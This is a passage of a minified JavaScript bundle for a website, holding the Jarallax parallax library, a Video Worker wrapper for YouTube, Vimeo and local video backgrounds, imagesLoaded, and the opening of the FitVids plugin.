0;",document.body.appendChild(l)),(l?l.clientHeight:0)||b.window.innerHeight||document.documentElement.clientHeight):b.window.innerHeight||document.documentElement.clientHeight}f(),b.window.addEventListener("resize",f),b.window.addEventListener("orientationchange",f),b.window.addEventListener("load",f),i()(function(){f()});var g=[];function y(){g.length&&(g.forEach(function(e,t){var n=e.instance,o=e.oldData,i=n.$item.getBoundingClientRect(),a={width:i.width,height:i.height,top:i.top,bottom:i.bottom,wndW:b.window.innerWidth,wndH:h},r=!o||o.wndW!==a.wndW||o.wndH!==a.wndH||o.width!==a.width||o.height!==a.height,l=r||!o||o.top!==a.top||o.bottom!==a.bottom;g[t].oldData=a,r&&n.onResize(),l&&n.onScroll()}),b.window.requestAnimationFrame(y))}function v(e,t){("object"===("undefined"==typeof HTMLElement?"undefined":u(HTMLElement))?e instanceof HTMLElement:e&&"object"===u(e)&&null!==e&&1===e.nodeType&&"string"==typeof e.nodeName)&&(e=[e]);for(var n,o=e.length,i=0,a=arguments.length,r=new Array(2<a?a-2:0),l=2;l<a;l++)r[l-2]=arguments[l];for(;i<o;i+=1)if("object"===u(t)||void 0===t?e[i].jarallax||(e[i].jarallax=new w(e[i],t)):e[i].jarallax&&(n=e[i].jarallax[t].apply(e[i].jarallax,r)),void 0!==n)return n;return e}var x=0,w=function(){function s(e,t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,s);var n=this;n.instanceID=x,x+=1,n.$item=e,n.defaults={type:"scroll",speed:.5,imgSrc:null,imgElement:".jarallax-img",imgSize:"cover",imgPosition:"50% 50%",imgRepeat:"no-repeat",keepImg:!1,elementInViewport:null,zIndex:-100,disableParallax:!1,disableVideo:!1,videoSrc:null,videoStartTime:0,videoEndTime:0,videoVolume:0,videoLoop:!0,videoPlayOnlyVisible:!0,videoLazyLoading:!0,onScroll:null,onInit:null,onDestroy:null,onCoverImage:null};var o,i,a=n.$item.dataset||{},r={};Object.keys(a).forEach(function(e){var t=e.substr(0,1).toLowerCase()+e.substr(1);t&&void 0!==n.defaults[t]&&(r[t]=a[e])}),n.options=n.extend({},n.defaults,r,t),n.pureOptions=n.extend({},n.options),Object.keys(n.options).forEach(function(e){"true"===n.options[e]?n.options[e]=!0:"false"===n.options[e]&&(n.options[e]=!1)}),n.options.speed=Math.min(2,Math.max(-1,parseFloat(n.options.speed))),"string"==typeof n.options.disableParallax&&(n.options.disableParallax=new RegExp(n.options.disableParallax)),n.options.disableParallax instanceof RegExp&&(o=n.options.disableParallax,n.options.disableParallax=function(){return o.test(p.userAgent)}),"function"!=typeof n.options.disableParallax&&(n.options.disableParallax=function(){return!1}),"string"==typeof n.options.disableVideo&&(n.options.disableVideo=new RegExp(n.options.disableVideo)),n.options.disableVideo instanceof RegExp&&(i=n.options.disableVideo,n.options.disableVideo=function(){return i.test(p.userAgent)}),"function"!=typeof n.options.disableVideo&&(n.options.disableVideo=function(){return!1});var l=n.options.elementInViewport;l&&"object"===u(l)&&void 0!==l.length&&(l=c(l,1)[0]),l instanceof Element||(l=null),n.options.elementInViewport=l,n.image={src:n.options.imgSrc||null,$container:null,useImgTag:!1,position:/iPad|iPhone|iPod|Android/.test(p.userAgent)?"absolute":"fixed"},n.initImg()&&n.canInitParallax()&&n.init()}var e,t,n;return e=s,(t=[{key:"css",value:function(t,n){return"string"==typeof n?b.window.getComputedStyle(t).getPropertyValue(n):(n.transform&&m&&(n[m]=n.transform),Object.keys(n).forEach(function(e){t.style[e]=n[e]}),t)}},{key:"extend",value:function(n){for(var e=arguments.length,o=new Array(1<e?e-1:0),t=1;t<e;t++)o[t-1]=arguments[t];return n=n||{},Object.keys(o).forEach(function(t){o[t]&&Object.keys(o[t]).forEach(function(e){n[e]=o[t][e]})}),n}},{key:"getWindowData",value:function(){return{width:b.window.innerWidth||document.documentElement.clientWidth,height:h,y:document.documentElement.scrollTop}}},{key:"initImg",value:function(){var e=this,t=e.options.imgElement;return t&&"string"==typeof t&&(t=e.$item.querySelector(t)),t instanceof Element||(e.options.imgSrc?(t=new Image).src=e.options.imgSrc:t=null),t&&(e.options.keepImg?e.image.$item=t.cloneNode(!0):(e.image.$item=t,e.image.$itemParent=t.parentNode),e.image.useImgTag=!0),!!e.image.$item||(null===e.image.src&&(e.image.src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",e.image.bgImage=e.css(e.$item,"background-image")),!(!e.image.bgImage||"none"===e.image.bgImage))}},{key:"canInitParallax",value:function(){return m&&!this.options.disableParallax()}},{key:"init",value:function(){var e,t,n,o=this,i={position:"absolute",top:0,left:0,width:"100%",height:"100%",overflow:"hidden"},a={pointerEvents:"none",transformStyle:"preserve-3d",backfaceVisibility:"hidden",willChange:"transform,opacity"};o.options.keepImg||((e=o.$item.getAttribute("style"))&&o.$item.setAttribute("data-jarallax-original-styles",e),!o.image.useImgTag||(t=o.image.$item.getAttribute("style"))&&o.image.$item.setAttribute("data-jarallax-original-styles",t)),"static"===o.css(o.$item,"position")&&o.css(o.$item,{position:"relative"}),"auto"===o.css(o.$item,"z-index")&&o.css(o.$item,{zIndex:0}),o.image.$container=document.createElement("div"),o.css(o.image.$container,i),o.css(o.image.$container,{"z-index":o.options.zIndex}),d&&o.css(o.image.$container,{opacity:.9999}),o.image.$container.setAttribute("id","jarallax-container-".concat(o.instanceID)),o.$item.appendChild(o.image.$container),o.image.useImgTag?a=o.extend({"object-fit":o.options.imgSize,"object-position":o.options.imgPosition,"font-family":"object-fit: ".concat(o.options.imgSize,"; object-position: ").concat(o.options.imgPosition,";"),"max-width":"none"},i,a):(o.image.$item=document.createElement("div"),o.image.src&&(a=o.extend({"background-position":o.options.imgPosition,"background-size":o.options.imgSize,"background-repeat":o.options.imgRepeat,"background-image":o.image.bgImage||'url("'.concat(o.image.src,'")')},i,a))),"opacity"!==o.options.type&&"scale"!==o.options.type&&"scale-opacity"!==o.options.type&&1!==o.options.speed||(o.image.position="absolute"),"fixed"===o.image.position&&(n=function(e){for(var t=[];null!==e.parentElement;)1===(e=e.parentElement).nodeType&&t.push(e);return t}(o.$item).filter(function(e){var t=b.window.getComputedStyle(e),n=t["-webkit-transform"]||t["-moz-transform"]||t.transform;return n&&"none"!==n||/(auto|scroll)/.test(t.overflow+t["overflow-y"]+t["overflow-x"])}),o.image.position=n.length?"absolute":"fixed"),a.position=o.image.position,o.css(o.image.$item,a),o.image.$container.appendChild(o.image.$item),o.onResize(),o.onScroll(!0),o.options.onInit&&o.options.onInit.call(o),"none"!==o.css(o.$item,"background-image")&&o.css(o.$item,{"background-image":"none"}),o.addToParallaxList()}},{key:"addToParallaxList",value:function(){g.push({instance:this}),1===g.length&&b.window.requestAnimationFrame(y)}},{key:"removeFromParallaxList",value:function(){var n=this;g.forEach(function(e,t){e.instance.instanceID===n.instanceID&&g.splice(t,1)})}},{key:"destroy",value:function(){var e=this;e.removeFromParallaxList();var t,n=e.$item.getAttribute("data-jarallax-original-styles");e.$item.removeAttribute("data-jarallax-original-styles"),n?e.$item.setAttribute("style",n):e.$item.removeAttribute("style"),e.image.useImgTag&&(t=e.image.$item.getAttribute("data-jarallax-original-styles"),e.image.$item.removeAttribute("data-jarallax-original-styles"),t?e.image.$item.setAttribute("style",n):e.image.$item.removeAttribute("style"),e.image.$itemParent&&e.image.$itemParent.appendChild(e.image.$item)),e.$clipStyles&&e.$clipStyles.parentNode.removeChild(e.$clipStyles),e.image.$container&&e.image.$container.parentNode.removeChild(e.image.$container),e.options.onDestroy&&e.options.onDestroy.call(e),delete e.$item.jarallax}},{key:"clipContainer",value:function(){var e,t,n,o,i;"fixed"===this.image.position&&(n=(t=(e=this).image.$container.getBoundingClientRect()).width,o=t.height,e.$clipStyles||(e.$clipStyles=document.createElement("style"),e.$clipStyles.setAttribute("type","text/css"),e.$clipStyles.setAttribute("id","jarallax-clip-".concat(e.instanceID)),(document.head||document.getElementsByTagName("head")[0]).appendChild(e.$clipStyles)),i="#jarallax-container-".concat(e.instanceID," {\n            clip: rect(0 ").concat(n,"px ").concat(o,"px 0);\n            clip: rect(0, ").concat(n,"px, ").concat(o,"px, 0);\n            -webkit-clip-path: polygon(0 0, 100% 0, 100% 100%, 0 100%);\n            clip-path: polygon(0 0, 100% 0, 100% 100%, 0 100%);\n        }"),e.$clipStyles.styleSheet?e.$clipStyles.styleSheet.cssText=i:e.$clipStyles.innerHTML=i)}},{key:"coverImage",value:function(){var e=this,t=e.image.$container.getBoundingClientRect(),n=t.height,o=e.options.speed,i="scroll"===e.options.type||"scroll-opacity"===e.options.type,a=0,r=n,l=0;return i&&(o<0?(a=o*Math.max(n,h),h<n&&(a-=o*(n-h))):a=o*(n+h),1<o?r=Math.abs(a-h):o<0?r=a/o+Math.abs(a):r+=(h-n)*(1-o),a/=2),e.parallaxScrollDistance=a,l=i?(h-r)/2:(n-r)/2,e.css(e.image.$item,{height:"".concat(r,"px"),marginTop:"".concat(l,"px"),left:"fixed"===e.image.position?"".concat(t.left,"px"):"0",width:"".concat(t.width,"px")}),e.options.onCoverImage&&e.options.onCoverImage.call(e),{image:{height:r,marginTop:l},container:t}}},{key:"isVisible",value:function(){return this.isElementInViewport||!1}},{key:"onScroll",value:function(e){var t,n,o,i,a,r,l,s,c,u,p=this,d=p.$item.getBoundingClientRect(),m=d.top,f=d.height,g={},y=d;p.options.elementInViewport&&(y=p.options.elementInViewport.getBoundingClientRect()),p.isElementInViewport=0<=y.bottom&&0<=y.right&&y.top<=h&&y.left<=b.window.innerWidth,(e||p.isElementInViewport)&&(t=Math.max(0,m),n=Math.max(0,f+m),o=Math.max(0,-m),i=Math.max(0,m+f-h),a=Math.max(0,f-(m+f-h)),r=Math.max(0,-m+h-f),l=1-(h-m)/(h+f)*2,s=1,f<h?s=1-(o||i)/f:n<=h?s=n/h:a<=h&&(s=a/h),"opacity"!==p.options.type&&"scale-opacity"!==p.options.type&&"scroll-opacity"!==p.options.type||(g.transform="translate3d(0,0,0)",g.opacity=s),"scale"!==p.options.type&&"scale-opacity"!==p.options.type||(c=1,p.options.speed<0?c-=p.options.speed*s:c+=p.options.speed*(1-s),g.transform="scale(".concat(c,") translate3d(0,0,0)")),"scroll"!==p.options.type&&"scroll-opacity"!==p.options.type||(u=p.parallaxScrollDistance*l,"absolute"===p.image.position&&(u-=m),g.transform="translate3d(0,".concat(u,"px,0)")),p.css(p.image.$item,g),p.options.onScroll&&p.options.onScroll.call(p,{section:d,beforeTop:t,beforeTopEnd:n,afterTop:o,beforeBottom:i,beforeBottomEnd:a,afterBottom:r,visiblePercent:s,fromViewportCenter:l}))}},{key:"onResize",value:function(){this.coverImage(),this.clipContainer()}}])&&r(e.prototype,t),n&&r(e,n),s}();v.constructor=w,t.default=v}]);

/*Video Worker (wrapper for Youtube, Vimeo and Local videos)*/
!function(){"use strict";function e(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function t(){this._done=[],this._fail=[]}function i(e,t,i){e.addEventListener(t,i)}var o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},a=function(){function e(e,t){for(var i=0;i<t.length;i++){var o=t[i];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,i,o){return i&&e(t.prototype,i),o&&e(t,o),t}}();t.prototype={execute:function(e,t){var i=e.length;for(t=Array.prototype.slice.call(t);i--;)e[i].apply(null,t)},resolve:function(){this.execute(this._done,arguments)},reject:function(){this.execute(this._fail,arguments)},done:function(e){this._done.push(e)},fail:function(e){this._fail.push(e)}};var n=0,r=0,p=0,l=0,s=0,u=new t,d=new t,y=function(){function t(i,o){e(this,t);var a=this;a.url=i,a.options_default={autoplay:1,loop:1,mute:1,volume:0,controls:0,startTime:0,endTime:0},a.options=a.extend({},a.options_default,o),a.videoID=a.parseURL(i),a.videoID&&(a.ID=n++,a.loadAPI(),a.init())}return a(t,[{key:"extend",value:function(e){var t=arguments;return e=e||{},Object.keys(arguments).forEach(function(i){t[i]&&Object.keys(t[i]).forEach(function(o){e[o]=t[i][o]})}),e}},{key:"parseURL",value:function(e){function t(e){var t=/.*(?:youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=)([^#\&\?]*).*/,i=e.match(t);return!(!i||11!==i[1].length)&&i[1]}function i(e){var t=/https?:\/\/(?:www\.|player\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/([^\/]*)\/videos\/|album\/(\d+)\/video\/|video\/|)(\d+)(?:$|\/|\?)/,i=e.match(t);return!(!i||!i[3])&&i[3]}function o(e){var t=e.split(/,(?=mp4\:|webm\:|ogv\:|ogg\:)/),i={},o=0;return t.forEach(function(e){var t=e.match(/^(mp4|webm|ogv|ogg)\:(.*)/);t&&t[1]&&t[2]&&(i["ogv"===t[1]?"ogg":t[1]]=t[2],o=1)}),!!o&&i}var a=t(e),n=i(e),r=o(e);return a?(this.type="youtube",a):n?(this.type="vimeo",n):!!r&&(this.type="local",r)}},{key:"isValid",value:function(){return!!this.videoID}},{key:"on",value:function(e,t){this.userEventsList=this.userEventsList||[],(this.userEventsList[e]||(this.userEventsList[e]=[])).push(t)}},{key:"off",value:function(e,t){var i=this;this.userEventsList&&this.userEventsList[e]&&(t?this.userEventsList[e].forEach(function(o,a){o===t&&(i.userEventsList[e][a]=!1)}):delete this.userEventsList[e])}},{key:"fire",value:function(e){var t=this,i=[].slice.call(arguments,1);this.userEventsList&&"undefined"!=typeof this.userEventsList[e]&&this.userEventsList[e].forEach(function(e){e&&e.apply(t,i)})}},{key:"play",value:function(e){var t=this;t.player&&("youtube"===t.type&&t.player.playVideo&&("undefined"!=typeof e&&t.player.seekTo(e||0),YT.PlayerState.PLAYING!==t.player.getPlayerState()&&t.player.playVideo()),"vimeo"===t.type&&("undefined"!=typeof e&&t.player.setCurrentTime(e),t.player.getPaused().then(function(e){e&&t.player.play()})),"local"===t.type&&("undefined"!=typeof e&&(t.player.currentTime=e),t.player.paused&&t.player.play()))}},{key:"pause",value:function(){var e=this;e.player&&("youtube"===e.type&&e.player.pauseVideo&&YT.PlayerState.PLAYING===e.player.getPlayerState()&&e.player.pauseVideo(),"vimeo"===e.type&&e.player.getPaused().then(function(t){t||e.player.pause()}),"local"===e.type&&(e.player.paused||e.player.pause()))}},{key:"getImageURL",value:function(e){var t=this;if(t.videoImage)return void e(t.videoImage);if("youtube"===t.type){var i=["maxresdefault","sddefault","hqdefault","0"],o=0,a=new Image;a.onload=function(){120!==(this.naturalWidth||this.width)||o===i.length-1?(t.videoImage="https://img.youtube.com/vi/"+t.videoID+"/"+i[o]+".jpg",e(t.videoImage)):(o++,this.src="https://img.youtube.com/vi/"+t.videoID+"/"+i[o]+".jpg")},a.src="https://img.youtube.com/vi/"+t.videoID+"/"+i[o]+".jpg"}if("vimeo"===t.type){var n=new XMLHttpRequest;n.open("GET","https://vimeo.com/api/v2/video/"+t.videoID+".json",!0),n.onreadystatechange=function(){if(4===this.readyState&&this.status>=200&&this.status<400){var i=JSON.parse(this.responseText);t.videoImage=i[0].thumbnail_large,e(t.videoImage)}},n.send(),n=null}}},{key:"getIframe",value:function(e){var t=this;return t.$iframe?void e(t.$iframe):void t.onAPIready(function(){function o(e,t,i){var o=document.createElement("source");o.src=t,o.type=i,e.appendChild(o)}var a=void 0;if(t.$iframe||(a=document.createElement("div"),a.style.display="none"),"youtube"===t.type){t.playerOptions={},t.playerOptions.videoId=t.videoID,t.playerOptions.playerVars={autohide:1,rel:0,autoplay:0},t.options.controls||(t.playerOptions.playerVars.iv_load_policy=3,t.playerOptions.playerVars.modestbranding=1,t.playerOptions.playerVars.controls=0,t.playerOptions.playerVars.showinfo=0,t.playerOptions.playerVars.disablekb=1);var n=void 0,r=void 0;t.playerOptions.events={onReady:function(e){t.options.mute?e.target.mute():t.options.volume&&e.target.setVolume(t.options.volume),t.options.autoplay&&t.play(t.options.startTime),t.fire("ready",e)},onStateChange:function(e){t.options.loop&&e.data===YT.PlayerState.ENDED&&t.play(t.options.startTime),n||e.data!==YT.PlayerState.PLAYING||(n=1,t.fire("started",e)),e.data===YT.PlayerState.PLAYING&&t.fire("play",e),e.data===YT.PlayerState.PAUSED&&t.fire("pause",e),e.data===YT.PlayerState.ENDED&&t.fire("end",e),t.options.endTime&&(e.data===YT.PlayerState.PLAYING?r=setInterval(function(){t.options.endTime&&t.player.getCurrentTime()>=t.options.endTime&&(t.options.loop?t.play(t.options.startTime):t.pause())},150):clearInterval(r))}};var p=!t.$iframe;if(p){var l=document.createElement("div");l.setAttribute("id",t.playerID),a.appendChild(l),document.body.appendChild(a)}t.player=t.player||new window.YT.Player(t.playerID,t.playerOptions),p&&(t.$iframe=document.getElementById(t.playerID),t.videoWidth=parseInt(t.$iframe.getAttribute("width"),10)||1280,t.videoHeight=parseInt(t.$iframe.getAttribute("height"),10)||720)}if("vimeo"===t.type){t.playerOptions="",t.playerOptions+="player_id="+t.playerID,t.playerOptions+="&autopause=0",t.options.controls||(t.playerOptions+="&badge=0&byline=0&portrait=0&title=0"),t.playerOptions+="&autoplay="+(t.options.autoplay?"1":"0"),t.playerOptions+="&loop="+(t.options.loop?1:0),t.$iframe||(t.$iframe=document.createElement("iframe"),t.$iframe.setAttribute("id",t.playerID),t.$iframe.setAttribute("src","https://player.vimeo.com/video/"+t.videoID+"?"+t.playerOptions),t.$iframe.setAttribute("frameborder","0"),a.appendChild(t.$iframe),document.body.appendChild(a)),t.player=t.player||new Vimeo.Player(t.$iframe),t.player.getVideoWidth().then(function(e){t.videoWidth=e||1280}),t.player.getVideoHeight().then(function(e){t.videoHeight=e||720}),t.options.startTime&&t.options.autoplay&&t.player.setCurrentTime(t.options.startTime),t.options.mute?t.player.setVolume(0):t.options.volume&&t.player.setVolume(t.options.volume);var s=void 0;t.player.on("timeupdate",function(e){s||t.fire("started",e),s=1,t.options.endTime&&t.options.endTime&&e.seconds>=t.options.endTime&&(t.options.loop?t.play(t.options.startTime):t.pause())}),t.player.on("play",function(e){t.fire("play",e),t.options.startTime&&0===e.seconds&&t.play(t.options.startTime)}),t.player.on("pause",function(e){t.fire("pause",e)}),t.player.on("ended",function(e){t.fire("end",e)}),t.player.on("loaded",function(e){t.fire("ready",e)})}if("local"===t.type){t.$iframe||(t.$iframe=document.createElement("video"),t.options.mute?t.$iframe.muted=!0:t.$iframe.volume&&(t.$iframe.volume=t.options.volume/100),t.options.loop&&(t.$iframe.loop=!0),t.$iframe.setAttribute("id",t.playerID),a.appendChild(t.$iframe),document.body.appendChild(a),Object.keys(t.videoID).forEach(function(e){o(t.$iframe,t.videoID[e],"video/"+e)})),t.player=t.player||t.$iframe;var u=void 0;i(t.player,"playing",function(e){u||t.fire("started",e),u=1}),i(t.player,"timeupdate",function(){t.options.endTime&&t.options.endTime&&this.currentTime>=t.options.endTime&&(t.options.loop?t.play(t.options.startTime):t.pause())}),i(t.player,"play",function(e){t.fire("play",e)}),i(t.player,"pause",function(e){t.fire("pause",e)}),i(t.player,"ended",function(e){t.fire("end",e)}),i(t.player,"loadedmetadata",function(){t.videoWidth=this.videoWidth||1280,t.videoHeight=this.videoHeight||720,t.fire("ready"),t.options.autoplay&&t.play(t.options.startTime)})}e(t.$iframe)})}},{key:"init",value:function(){var e=this;e.playerID="VideoWorker-"+e.ID}},{key:"loadAPI",value:function(){var e=this;if(!r||!p){var t="";if("youtube"!==e.type||r||(r=1,t="https://www.youtube.com/iframe_api"),"vimeo"!==e.type||p||(p=1,t="https://player.vimeo.com/api/player.js"),t){var i=document.createElement("script"),o=document.getElementsByTagName("head")[0];i.src=t,o.appendChild(i),o=null,i=null}}}},{key:"onAPIready",value:function(e){var t=this;if("youtube"===t.type&&("undefined"!=typeof YT&&0!==YT.loaded||l?"object"===("undefined"==typeof YT?"undefined":o(YT))&&1===YT.loaded?e():u.done(function(){e()}):(l=1,window.onYouTubeIframeAPIReady=function(){window.onYouTubeIframeAPIReady=null,u.resolve("done"),e()})),"vimeo"===t.type)if("undefined"!=typeof Vimeo||s)"undefined"!=typeof Vimeo?e():d.done(function(){e()});else{s=1;var i=setInterval(function(){"undefined"!=typeof Vimeo&&(clearInterval(i),d.resolve("done"),e())},20)}"local"===t.type&&e()}}]),t}();window.VideoWorker=y,

/*Video Background Extension for Jarallax */
function(){if("undefined"!=typeof jarallax){var e=jarallax.constructor,t=e.prototype.init;e.prototype.init=function(){var e=this;t.apply(e),e.video&&e.video.getIframe(function(t){var i=t.parentNode;e.css(t,{position:e.image.position,top:"0px",left:"0px",right:"0px",bottom:"0px",width:"100%",height:"100%",maxWidth:"none",maxHeight:"none",margin:0,zIndex:-1}),e.$video=t,e.image.$container.appendChild(t),i.parentNode.removeChild(i)})};var o=e.prototype.coverImage;e.prototype.coverImage=function(){var e=this,t=o.apply(e),i=e.image.$item.nodeName;if(t&&e.video&&("IFRAME"===i||"VIDEO"===i)){var a=t.image.height,n=a*e.image.width/e.image.height,r=(t.container.width-n)/2,p=t.image.marginTop;t.container.width>n&&(n=t.container.width,a=n*e.image.height/e.image.width,r=0,p+=(t.image.height-a)/2),"IFRAME"===i&&(a+=400,p-=200),e.css(e.$video,{width:n+"px",marginLeft:r+"px",height:a+"px",marginTop:p+"px"})}return t};var a=e.prototype.initImg;e.prototype.initImg=function(){var e=this,t=a.apply(e);return e.options.videoSrc||(e.options.videoSrc=e.$item.getAttribute("data-jarallax-video")||null),e.options.videoSrc?(e.defaultInitImgResult=t,!0):t};var n=e.prototype.canInitParallax;e.prototype.canInitParallax=function(){var e=this,t=n.apply(e);if(!e.options.videoSrc)return t;var i=new y(e.options.videoSrc,{startTime:e.options.videoStartTime||0,endTime:e.options.videoEndTime||0,mute:e.options.videoVolume?0:1,volume:e.options.videoVolume||0});if(i.isValid())if(t){if(i.on("ready",function(){if(e.options.videoPlayOnlyVisible){var t=e.onScroll;e.onScroll=function(){t.apply(e),e.isVisible()?i.play():i.pause()}}else i.play()}),i.on("started",function(){e.image.$default_item=e.image.$item,e.image.$item=e.$video,e.image.width=e.video.videoWidth||1280,e.image.height=e.video.videoHeight||720,e.options.imgWidth=e.image.width,e.options.imgHeight=e.image.height,e.coverImage(),e.clipContainer(),e.onScroll(),e.image.$default_item&&(e.image.$default_item.style.display="none")}),e.video=i,!e.defaultInitImgResult)return"local"!==i.type?(i.getImageURL(function(t){e.image.src=t,e.init()}),!1):(e.image.src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",!0)}else e.defaultInitImgResult||i.getImageURL(function(t){var i=e.$item.getAttribute("style");i&&e.$item.setAttribute("data-jarallax-original-styles",i),e.css(e.$item,{"background-image":'url("'+t+'")',"background-position":"center","background-size":"cover"})});return t};var r=e.prototype.destroy;e.prototype.destroy=function(){var e=this;e.image.$default_item&&(e.image.$item=e.image.$default_item,delete e.image.$default_item),r.apply(e)},i(window,"DOMContentLoaded",function(){jarallax(document.querySelectorAll("[data-jarallax-video]"))})}}()}();

/* Imagesloaded */
!function(t,e){"function"==typeof define&&define.amd?define("ev-emitter/ev-emitter",e):"object"==typeof module&&module.exports?module.exports=e():t.EvEmitter=e()}("undefined"!=typeof window?window:this,function(){function t(){}var e=t.prototype;return e.on=function(t,e){if(t&&e){var i=this._events=this._events||{},n=i[t]=i[t]||[];return-1==n.indexOf(e)&&n.push(e),this}},e.once=function(t,e){if(t&&e){this.on(t,e);var i=this._onceEvents=this._onceEvents||{},n=i[t]=i[t]||{};return n[e]=!0,this}},e.off=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){var n=i.indexOf(e);return-1!=n&&i.splice(n,1),this}},e.emitEvent=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){var n=0,o=i[n];e=e||[];for(var r=this._onceEvents&&this._onceEvents[t];o;){var s=r&&r[o];s&&(this.off(t,o),delete r[o]),o.apply(this,e),n+=s?0:1,o=i[n]}return this}},t}),function(t,e){"use strict";"function"==typeof define&&define.amd?define(["ev-emitter/ev-emitter"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("ev-emitter")):t.imagesLoaded=e(t,t.EvEmitter)}(window,function(t,e){function i(t,e){for(var i in e)t[i]=e[i];return t}function n(t){var e=[];if(Array.isArray(t))e=t;else if("number"==typeof t.length)for(var i=0;i<t.length;i++)e.push(t[i]);else e.push(t);return e}function o(t,e,r){return this instanceof o?("string"==typeof t&&(t=document.querySelectorAll(t)),this.elements=n(t),this.options=i({},this.options),"function"==typeof e?r=e:i(this.options,e),r&&this.on("always",r),this.getImages(),h&&(this.jqDeferred=new h.Deferred),void setTimeout(function(){this.check()}.bind(this))):new o(t,e,r)}function r(t){this.img=t}function s(t,e){this.url=t,this.element=e,this.img=new Image}var h=t.jQuery,a=t.console;o.prototype=Object.create(e.prototype),o.prototype.options={},o.prototype.getImages=function(){this.images=[],this.elements.forEach(this.addElementImages,this)},o.prototype.addElementImages=function(t){"IMG"==t.nodeName&&this.addImage(t),this.options.background===!0&&this.addElementBackgroundImages(t);var e=t.nodeType;if(e&&d[e]){for(var i=t.querySelectorAll("img"),n=0;n<i.length;n++){var o=i[n];this.addImage(o)}if("string"==typeof this.options.background){var r=t.querySelectorAll(this.options.background);for(n=0;n<r.length;n++){var s=r[n];this.addElementBackgroundImages(s)}}}};var d={1:!0,9:!0,11:!0};return o.prototype.addElementBackgroundImages=function(t){var e=getComputedStyle(t);if(e)for(var i=/url\((['"])?(.*?)\1\)/gi,n=i.exec(e.backgroundImage);null!==n;){var o=n&&n[2];o&&this.addBackground(o,t),n=i.exec(e.backgroundImage)}},o.prototype.addImage=function(t){var e=new r(t);this.images.push(e)},o.prototype.addBackground=function(t,e){var i=new s(t,e);this.images.push(i)},o.prototype.check=function(){function t(t,i,n){setTimeout(function(){e.progress(t,i,n)})}var e=this;return this.progressedCount=0,this.hasAnyBroken=!1,this.images.length?void this.images.forEach(function(e){e.once("progress",t),e.check()}):void this.complete()},o.prototype.progress=function(t,e,i){this.progressedCount++,this.hasAnyBroken=this.hasAnyBroken||!t.isLoaded,this.emitEvent("progress",[this,t,e]),this.jqDeferred&&this.jqDeferred.notify&&this.jqDeferred.notify(this,t),this.progressedCount==this.images.length&&this.complete(),this.options.debug&&a&&a.log("progress: "+i,t,e)},o.prototype.complete=function(){var t=this.hasAnyBroken?"fail":"done";if(this.isComplete=!0,this.emitEvent(t,[this]),this.emitEvent("always",[this]),this.jqDeferred){var e=this.hasAnyBroken?"reject":"resolve";this.jqDeferred[e](this)}},r.prototype=Object.create(e.prototype),r.prototype.check=function(){var t=this.getIsImageComplete();return t?void this.confirm(0!==this.img.naturalWidth,"naturalWidth"):(this.proxyImage=new Image,this.proxyImage.addEventListener("load",this),this.proxyImage.addEventListener("error",this),this.img.addEventListener("load",this),this.img.addEventListener("error",this),void(this.proxyImage.src=this.img.src))},r.prototype.getIsImageComplete=function(){return this.img.complete&&void 0!==this.img.naturalWidth},r.prototype.confirm=function(t,e){this.isLoaded=t,this.emitEvent("progress",[this,this.img,e])},r.prototype.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},r.prototype.onload=function(){this.confirm(!0,"onload"),this.unbindEvents()},r.prototype.onerror=function(){this.confirm(!1,"onerror"),this.unbindEvents()},r.prototype.unbindEvents=function(){this.proxyImage.removeEventListener("load",this),this.proxyImage.removeEventListener("error",this),this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},s.prototype=Object.create(r.prototype),s.prototype.check=function(){this.img.addEventListener("load",this),this.img.addEventListener("error",this),this.img.src=this.url;var t=this.getIsImageComplete();t&&(this.confirm(0!==this.img.naturalWidth,"naturalWidth"),this.unbindEvents())},s.prototype.unbindEvents=function(){this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},s.prototype.confirm=function(t,e){this.isLoaded=t,this.emitEvent("progress",[this,this.element,e])},o.makeJQueryPlugin=function(e){e=e||t.jQuery,e&&(h=e,h.fn.imagesLoaded=function(t,e){var i=new o(this,t,e);return i.jqDeferred.promise(h(this))})},o.makeJQueryPlugin(),o});

/* Fitvids */
!function(o){"use strict";o.fn.fitVids=function(t){var e,i,r={customSelector:null,ignore:null};return document.getElementById("fit-vids-style")||(e=document.head||document.getElementsByTagName("head")[0],(i=document.createElement("div")).innerHTML='<p>x</p><style id="fit-vids-style">.fluid-width-video-wrapper{width:100%;position:relative;padding:0;}.fluid-width-video-wrapper iframe,.fluid-width-video-wrapper object,.fluid-width-video-wrapper embed {position:absolute;top:0;left:0;width:100%;height:100%;}</style>',e.appendChild(i.childNodes[1])),t&&o.extend(r,t),this.each(function(){var t=['iframe[data-src*="player.vimeo.com"]','iframe[data-src*="youtube.com"]','iframe[data-src*="youtube-nocookie.com"]','iframe[data-src*="player.twitch.tv"]','iframe[data-src*="maps.google.com"]','iframe[data-src*="google.com/maps"]','iframe[data-src*="dailymotion.com"]','iframe[data-src*="twitter.com/i/videos"]','iframe[src*="player.vimeo.com"]','iframe[src*="youtube.com"]','iframe[src*="youtube-nocookie.com"]','iframe[src*="player.twitch.tv"]','iframe[src*="maps.google.com"]','iframe[src*="google.com/maps"]','iframe[src*="dailymotion.com"]','iframe[src*="twitter.com/i/videos"]',"object","embed"];r.customSelector&&t.push(r.customSelector);var a=".fitvidsignore";r.ignore&&(a=a+", "+r.ignore);t=o(this).find(t.join(","));(t=(t=t.not("object object")).not(a)).each(function(){var t,e,i=o(this);0<i.parents(a).length||(void 